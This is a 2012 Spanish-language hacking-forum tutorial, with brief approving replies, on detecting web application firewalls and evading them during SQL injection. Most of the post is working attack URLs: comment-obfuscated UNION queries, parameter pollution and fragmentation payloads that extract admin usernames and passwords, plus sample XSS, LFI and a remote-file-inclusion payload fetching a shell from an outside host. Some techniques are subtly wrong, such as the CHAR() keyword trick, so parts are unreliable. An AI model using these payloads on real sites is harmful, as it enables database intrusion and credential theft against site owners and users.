Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: q3rv0 en Septiembre 11, 2012, 06:28:16 PM

Título: PWNEANDO el WAF!
Publicado por: q3rv0 en Septiembre 11, 2012, 06:28:16 PM
WAF PWNED!



[0x1] -------------- Que es un WAF?

[0x2] -------------- Reconocimiento de un Firewall de aplicaciones web

[0x3] -------------- Tecnicas de evacion SQL
                     
                     [0x2a] ------------ Utilizando comentarios

                     [0x2b] ------------ Uso de la funcion CHAR()

                     [0x2c] ------------ HPP (Polucion de parametros HTTP)

                     [0x2d] ------------ HPF (Fragmentacion de parametros HTTP)



-------------------------------------------+


[0x1] Que es un WAF?


-------------------------------------------+

Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables
me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y
terminaba paradado con un mensajito de "The concexion was reSet", sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)
Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo.
Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con:

-Libhtp

-Ironbee

y demas...

Un WAF trabaja en la capa de aplicacion, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y segun el trafico que se halle en la blacklist de su configuracion enviaran un mensaje de alerta ante determinado vector de ataque tales como:

http://vulnpage/alal.php?vuln=9999"><script>alert(/waf/)</script> XSS

http://vulnpage/alal.php?vuln=9999'+or+'5'>='3-- SQLI

http://vulnpage/alal.php?vuln=../../../../../lol%00 LFI


http://vulnpage/alal.php?vuln=http://lol.com/shell.txt? RFI

ETC...

-------------------------------------------------+



[0x2] Reconocimiento de un Firewall de aplicaciones web



--------------------------------------------------+


Como descubrimos la presencia de un WAF en la aplicacion?

Generalmente las respuestas de tipo:

- 501 (method not implemented)

- Conexion reseteada por parte del servidor

- Mensaje 403

- Redireccionamiento hacia la pagina de inicio

Estos son indicios de la presencia de algun tipo de mediador que nos esta hinchando las pelotas XD!

Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando
dentro de las respuestas en las cabeceras http.

Para ello, si estamos en duda de que la aplicacion corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de  que en realidad es asi.


Dork: "host:"Underterminal.com" Mod_security enabled"



Informacion del tipo y version de WAF en la cabecera Server.

------------------------+
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
---------------------------+


Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf's incorporado en nmap.

Podemos utilizarlo de la siguiente manera:

nmap -Pn -n -VV -T2 --script=http-waf-detect.nse "TARGET"


Veamos que pasa con papa google?

--------------------------------------------------------------+

nmap -p80 -vv -T2 -Pn -n  --script http-waf-detect google.com

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 01:38 ART
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Warning: Hostname google.com resolves to 11 IPs. Using 74.125.229.37.
Initiating SYN Stealth Scan at 01:38
Scanning google.com (74.125.229.37) [1 port]
Discovered open port 80/tcp on 74.125.229.37
Completed SYN Stealth Scan at 01:38, 0.44s elapsed (1 total ports)
NSE: Script scanning 74.125.229.37.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:38
Completed NSE at 01:38, 13.07s elapsed
Nmap scan report for google.com (74.125.229.37)
Host is up (0.039s latency).
Other addresses for google.com (not scanned): 74.125.229.38 74.125.229.39 74.125.229.40 74.125.229.41 74.125.229.46 74.125.229.32 74.125.229.33 74.125.229.34 74.125.229.35 74.125.229.36
Scanned at 2012-09-11 01:38:24 ART for 13s
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_google.com:80/?p4yl04d3=<script>alert(document.cookie)</script>

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
-------------------------------------------------------------------+



[0x3] Tecnicas de Evacion SQL




[0x3a] Utilizando comentarios



--------------------------------------------------------------+


Las tecnicas de evacion de waf, se centran en engañar al firewall para inyectar los caracteres que se encuentran en la "Blacklist", hay varios metodos de evacion, veamos algunos implementandolos en inyecciondes SQLI

Los comentarios /*!*/ pueden ser utilizados para vestir a ciertas sentencias que dejan una alerta en la aplicacion, veamos el siguiente ejemplo.

El siguiente path es vulnerable a sqli.

http://somepage/intranet.php?id=[SQLI]

"MYSQL ERROR en la sintaxis"

Enumeramos columnas de la tabla.

http://somepage/intranet.php?id=9999+order+by+5

FALSE!, hasta ahora sabemos que la tabla que interactua con el script intranet.php posee 4 columnas, vamos a ver que pasa con la tecnica UNION.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1

501 METHOD NOT IMPLEMENTED! LOL!

Una vez que se realizo el reconocimiento de algun tipo de WAF en la aplicacion, ya sabemos que hay ulguna clausula que esta siendo filtrada por este.

Tratemos de evadir la blacklist, utilizando los tag /**/ o /*!*/

http://somepage/intranet.php?id=9999+/*!UNION*/+/*!SELECT*/+1,2,3,4+/*!AND*/+1=1

2
  3

Bien, hemos logrado saltarnos la pared del WAF.

Utilizando /**/ como %20:

http://somepage/intranet.php?id=9999/**//*!UNION*//**//*!SELECT*//**/1,2,3,4/**//*!AND*//**/1=1

De ahora en mas podemos ir variando la estructura de la sentencia, una manera seria cortar cada clausula con /**/

http://somepage/intranet.php?id=9999/**//*UN/**/ION*//**//*SEL/**/ECT*//**/1,2,3,4/**//*AND*//**/1=1

Tambien podemos utilizar dobles clausulas en el mismo vector:

http://somepage/intranet.php?id=9999+/*UNION*/+UNION+/*SELECT*/+SELECT+1,2,3,4+/*AND*/+1=1

fijense como una esta entre los tags /**/ y otra no.

----------------------------------------------------------------------+


[0x3b] Uso de la funcion CHAR()


----------------------------------------+


CHAR() es una funcion sql que basicamente transforma un caracter/s en ascii a string.

por ejemplo q=113

mysql> SELECT ASCII('q');
+------------+
| ascii('q') |
+------------+
|        113 |
+------------+
1 row in set (0.00 sec)

mysql> SELECT CHAR(113);
+-----------+
| CHAR(113) |
+-----------+
| q         |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT CHAR(91, 81, 93, 51, 114, 86, 91, 48, 93);
+-------------------------------------------+
| CHAR(91, 81, 93, 51, 114, 86, 91, 48, 93) |
+-------------------------------------------+
| [Q]3rV[0]                                 |
+-------------------------------------------+
1 row in set (0.00 sec)

Entonces ya nos podemos ir dando una idea de como ofuscar nustro vector.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1

Quedaria mas o menos de la siguiente manera vistiendo a UNION & SELECT

http://somepage/intranet.php?id=9999+CHAR(117, 110, 105, 111, 110)+CHAR(115, 101, 108, 101, 99, 116)+1,2,3,4+AND+1=1


-------------------------------------------------------------+


[0x3c] HPP (Polucion de parametros HTTP)


-----------------------------------------+


La vulnerabilidad HPP puede ser aprovechada para insertar nuestros vectores en la aplicacion y asi poder decierle al WAF "OWNED BABY!"

Pero que es HPP?????

HPP (Polucion de parametros HTTP) es una vulnerabilidad web que no tiene muchos años de nacida, fue descubierta en el 2009,
esta tecnica se centra en inyectar varios valores en un mismo parametro, bien, ustedes se deben estar preguntando, pero de que me sirve ante la evacion de un firewall web??

Sabemos que los usuarios interactuan con aplicaciones dinamicas a travez de un parametro, hay variable que almacenan varios valores, pero otras que se encargan de almacenar 1 solo valor, en ese tipo de var que pasaria si le introdujeran dos valores diferentes??

Segun la tecnlogia que utilice la aplicacion reaccionara de determinada forma, aca les pongo un par de ejemplos de como toman 2 o mas valores distintas tecnologias web.

ASP.NET/IIS -------------------> concacatena dos o mas valores con una coma

ejemplo: id=q3rv0,[Q]3rV[0]

PHP/APACHE ---------------------> imprime el segundo valor de 2

ejemplo: id=q3rv0&id=[Q]3rv[0] lo que se interpretara en el servidor sera el segundo valor [Q]3rv[0]

Bien vallamos a la accion, los WAF's generalmente verifican cadas variable por separado, es decir si utilizamos el siguiente vector para ofucar codigo aprovechando un HPP


http://somepage/intranet.aspx?id=9999+OR+1=COVERT(INT,(@@VERSION))--

Evacion: http://somepage/intranet.aspx?id=9999+CONVERT(INT&id=(@@VERSION))--

Con esto engañariamos al firewall debido a que no podra identificar el vector de ataque entero.

Por lo tanto al tratarse de ASP.NET y sabiendo que concatena dos valores con coma el codigo se ejecutaria de la siguiente manera en el server.

SELECT user_name FROM usuarios WHERE id= 9999+OR+1=COVERT(INT,(@@VERSION))--

OWNEANDO al WAF y obeteniendo la version del DBMS.

Otra manera de darle mas dinamismo a esta tecnica es utilizando /**/ entre las variables

Que pasaria si el WAF nos detectara la inyeccion anterior por que tomaria como ofensivo el vector id=9999+CONVERT(INT

si desearamos usar mas parametros para evadirlo asi:

http://somepage/intranet.aspx?id=9999&id=OR+1=&id=CONVERT&id=(INT&id=(@@VERSION))--

La inyeccion se procesaria de esta manera en la base de datos:

SELECT user_name FROM usuarios WHERE id=9999,OR+1=,CONVERT,(INT,(@@VERSION))--

Esto daria error de sintaxis, para solucionarlo utilizaremos nuestra amiga /**/ vistiendo cada parametro


Quedando de la siguiente manera:

http://somepage/intranet.aspx?id=9999/*&id=*/OR+1=/*&id=*/CONVERT/*&id=*/(INT&id=(@@VERSION))--


Ahora si podemos decir OWNED BABY!


----------------------------------------------------------+



[0x3d] HPF (Fragmentacion de parametros HTTP)



-------------------------------------------------------+


La fragmentacion de parametros HTTP me recuerda a cuando utilizamos la opcion -f de nmap para fragmentar paquetes IP y asi evadir las estrictas reglas del firewall, esta tecnica no es muy diferente a la que mencione anteriormente (HPP), la unica diferencia es que podemas usarla algun path que utilize varios parametros

por ejemplo tenemos la siguiente url:

http://lalala/index.aspx?id=1&nan=2&lala=3

Podemos fragmentar el vector de ataque entre las variables

id=
nan=
lala=

Supongamos que el servidor corre co una base de datos MYSQL que no es muy comun, en su mayoria las web que utilizan tecnologia ASP.NET o ASP, corren con algun SQL SERVER 200*

Inyectando normalmente: http://lalala/index.aspx?id=1 UNION SELECT 1,2,concat(username, 0x3a, password)+FROM+admin+LIMIT+1,1--&nan=2&lala=3

Para fragmentar dicho vector y siempre recordando que ASP.NET concatena 2 o mas valores con , podriamos intentar asi:


http://lalala/index.aspx?id=1+UNION+SELECT+1/*&nan=*/2,concat(username, 0x3a, password)/*&lala=*/FROM+admin+LIMIT+1,1--

Podemos usar la imaginacion para moldear varios tipos de ataque con ambas tecnicas, recordando siempre y cuando como trabaja y toma los valores la tecnologia que corre en el servidor.






Saludos!!
Título: Re:PWNEANDO el WAF!
Publicado por: Sanko en Septiembre 11, 2012, 06:40:20 PM
Interesante man , buen post.
Título: Re:PWNEANDO el WAF!
Publicado por: Muppet en Septiembre 12, 2012, 02:59:14 AM
Siempre con buen Material Te felicito! Un exelente post
Título: Re:PWNEANDO el WAF!
Publicado por: munter en Octubre 07, 2012, 02:30:51 PM
buena información,  sigue asi
Título: Re:PWNEANDO el WAF!
Publicado por: Alex en Febrero 24, 2013, 11:59:32 AM
la verdad, muy pero muy bueno, se agradece, una lectura muy interesante nos haz dejado.

saludos!